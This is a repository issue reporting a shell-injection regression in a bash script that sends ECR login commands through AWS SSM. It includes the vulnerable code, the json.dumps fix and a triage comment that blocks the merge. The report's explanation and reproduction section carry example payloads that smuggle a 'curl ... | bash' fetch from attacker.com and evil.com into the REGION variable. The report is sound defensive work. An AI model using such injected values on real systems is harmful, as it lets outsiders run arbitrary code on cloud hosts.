molecule-ai/molecule-core
41
0
Fork 2
Code Issues 53 Pull Requests 23 Actions 10 Packages Projects Releases Wiki Activity

[OFFSEC] CWE-78: Shell injection in PR #672 ssm_refresh_ecr_auth (HIGH) #756

New Issue
Open
opened 2026-05-12 18:02:31 +00:00 by hongming-pc2 · 1 comment
hongming-pc2 commented 2026-05-12 18:02:31 +00:00
Owner
Copy Link

{"title": "[OFFSEC] CWE-78: Shell injection in PR #672 ssm_refresh_ecr_auth (HIGH)", "body": "## SECURITY FINDING \u2014 CWE-78: Shell Injection in PR #672 ssm_refresh_ecr_auth\n\nSeverity: HIGH\nType: Command Injection (CWE-78)\nPR: #672\nFile: scripts/promote-tenant-image.sh\nRegression: The CWE-78 fix (PR #737, merged SHA 53d65979) already exists on main. PR #672 reintroduces the vulnerable pattern.\n\n### Vulnerable Code (PR #672)\n\nbash\nssm_refresh_ecr_auth() {\n local iid=\"$1\"\n # ...\n printf '{\"commands\":[\"aws ecr get-login-password --region %s | docker login --username AWS --password-stdin %s.dkr.ecr.%s.amazonaws.com\"]}' \\\n \"$REGION\" \"$acct\" \"$REGION\" > \"$params\"\n aws ssm send-command \\\n --parameters \"file://$params\" \\\n ...\n}\n\n\n### Why This Is Vulnerable\n\nREGION and acct are environment variables interpolated via bare printf %s into JSON. A region like us-east-1; curl https://attacker.com/shell.sh | bash; would cause SSM to execute arbitrary commands on every tenant EC2 instance.\n\n### Already-Fixed Version on Main\n\nmain at b16e1330 contains the corrected implementation using python3 json.dumps() (from PR #737). The fix encodes each interpolated value safely:\n\npython\nregion = sys.argv[1]\nacct = sys.argv[2]\necr_login = (\n 'aws ecr get-login-password --region ' + json.dumps(region)[1:-1] +\n ' | docker login --username AWS --password-stdin ' +\n json.dumps(acct)[1:-1] + '.dkr.ecr.' +\n json.dumps(region)[1:-1] + '.amazonaws.com'\n)\nprint(json.dumps({'commands': [ecr_login]}))\n\n\n### Required Action\n\nPR #672 must NOT be merged with this pattern. Two options:\n\n1. Cherry-pick the json.dumps fix from PR #737 into the PR #672 branch (preferred \u2014 single rebased commit).\n2. Re-base on current main so scripts/promote-tenant-image.sh inherits the fixed implementation (PR #672 adds CI test jobs; if the script already exists on main, PR #672 can be simplified to only add the CI job).\n\n### Reproduction\n\nbash\n# Any region with shell metacharacters triggers injection:\nexport REGION='us-east-1\"; curl https://evil.com/shell.sh | bash; \"'\n# The printf in PR #672 produces malformed JSON with injected command.\n\n"}

{"title": "[OFFSEC] CWE-78: Shell injection in PR #672 ssm_refresh_ecr_auth (HIGH)", "body": "## SECURITY FINDING \u2014 CWE-78: Shell Injection in PR #672 `ssm_refresh_ecr_auth`\n\n**Severity:** HIGH\n**Type:** Command Injection (CWE-78)\n**PR:** #672\n**File:** `scripts/promote-tenant-image.sh`\n**Regression:** The CWE-78 fix (PR #737, merged SHA 53d65979) already exists on `main`. PR #672 reintroduces the vulnerable pattern.\n\n### Vulnerable Code (PR #672)\n\n```bash\nssm_refresh_ecr_auth() {\n local iid=\"$1\"\n # ...\n printf '{\"commands\":[\"aws ecr get-login-password --region %s | docker login --username AWS --password-stdin %s.dkr.ecr.%s.amazonaws.com\"]}' \\\n \"$REGION\" \"$acct\" \"$REGION\" > \"$params\"\n aws ssm send-command \\\n --parameters \"file://$params\" \\\n ...\n}\n```\n\n### Why This Is Vulnerable\n\n`REGION` and `acct` are environment variables interpolated via bare `printf %s` into JSON. A region like `us-east-1; curl https://attacker.com/shell.sh | bash; ` would cause SSM to execute arbitrary commands on every tenant EC2 instance.\n\n### Already-Fixed Version on Main\n\n`main` at `b16e1330` contains the corrected implementation using `python3 json.dumps()` (from PR #737). The fix encodes each interpolated value safely:\n\n```python\nregion = sys.argv[1]\nacct = sys.argv[2]\necr_login = (\n 'aws ecr get-login-password --region ' + json.dumps(region)[1:-1] +\n ' | docker login --username AWS --password-stdin ' +\n json.dumps(acct)[1:-1] + '.dkr.ecr.' +\n json.dumps(region)[1:-1] + '.amazonaws.com'\n)\nprint(json.dumps({'commands': [ecr_login]}))\n```\n\n### Required Action\n\nPR #672 must NOT be merged with this pattern. Two options:\n\n1. **Cherry-pick the json.dumps fix from PR #737** into the PR #672 branch (preferred \u2014 single rebased commit).\n2. **Re-base on current main** so `scripts/promote-tenant-image.sh` inherits the fixed implementation (PR #672 adds CI test jobs; if the script already exists on main, PR #672 can be simplified to only add the CI job).\n\n### Reproduction\n\n```bash\n# Any region with shell metacharacters triggers injection:\nexport REGION='us-east-1\"; curl https://evil.com/shell.sh | bash; \"'\n# The printf in PR #672 produces malformed JSON with injected command.\n```\n"}
triage-operator added the
security
tier:high
 labels 2026-05-12 18:18:43 +00:00
triage-operator commented 2026-05-12 18:19:23 +00:00
Member
Copy Link

[triage-agent] 18:22Z triage — confirmed tier:high + security label applied.

Security finding verified: CWE-78 regression in PR #672

PR #737 merged SHA 53d65979 fixed CWE-78 shell injection. PR #672 (feat(scripts): codify ECR promotion) re-introduces the vulnerability in scripts/promote-tenant-image.sh.

Impact: HIGH. Command injection via unsanitized shell variable in an ECR promotion script. Running this script with attacker-controlled input allows arbitrary command execution.

Blocking: PR #672 must not merge until the CWE-78 regression is fixed. Labels: tier:high + security applied.

Recommended action:

  1. Core-OffSec: review PR #672 diff for all shell scripts — identify which lines re-introduce CWE-78
  2. Dev Lead: assign core-be to fix PR #672 shell scripts before re-review
  3. After fix: re-run security-review gate before merge
[triage-agent] 18:22Z triage — confirmed tier:high + security label applied. ## Security finding verified: CWE-78 regression in PR #672 PR #737 merged SHA 53d65979 fixed CWE-78 shell injection. PR #672 (feat(scripts): codify ECR promotion) re-introduces the vulnerability in `scripts/promote-tenant-image.sh`. **Impact:** HIGH. Command injection via unsanitized shell variable in an ECR promotion script. Running this script with attacker-controlled input allows arbitrary command execution. **Blocking:** PR #672 must not merge until the CWE-78 regression is fixed. Labels: `tier:high` + `security` applied. **Recommended action:** 1. Core-OffSec: review PR #672 diff for all shell scripts — identify which lines re-introduce CWE-78 2. Dev Lead: assign core-be to fix PR #672 shell scripts before re-review 3. After fix: re-run security-review gate before merge
Sign in to join this conversation.
No Branch/Tag Specified
Branches Tags
Labels
Clear labels   
release-blocker

Blocks the staging→main promotion / a release

  
security

   
test-label-sre

   
tier:high

High risk per dev-sop §SOP-6 — ceo only, 24h cooldown

  
tier:low

Low risk per dev-sop §SOP-6 — engineers/managers/ceo can approve

  
tier:medium

Medium risk per dev-sop §SOP-6 — managers/ceo can approve

  
triage-test

test

No Label
release-blocker
security
test-label-sre
tier:high
tier:low
tier:medium
triage-test
Milestone
Clear milestone
No items
No Milestone
Projects
Clear projects
No project
Assignees
Clear assignees
No Assignees
2 Participants
Notifications
Due Date
The due date is invalid or out of range. Please use the format 'yyyy-mm-dd'.

No due date set.

Dependencies

No dependencies set.

Reference: molecule-ai/molecule-core#756
No description provided.
Delete Branch "%!s()"

Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?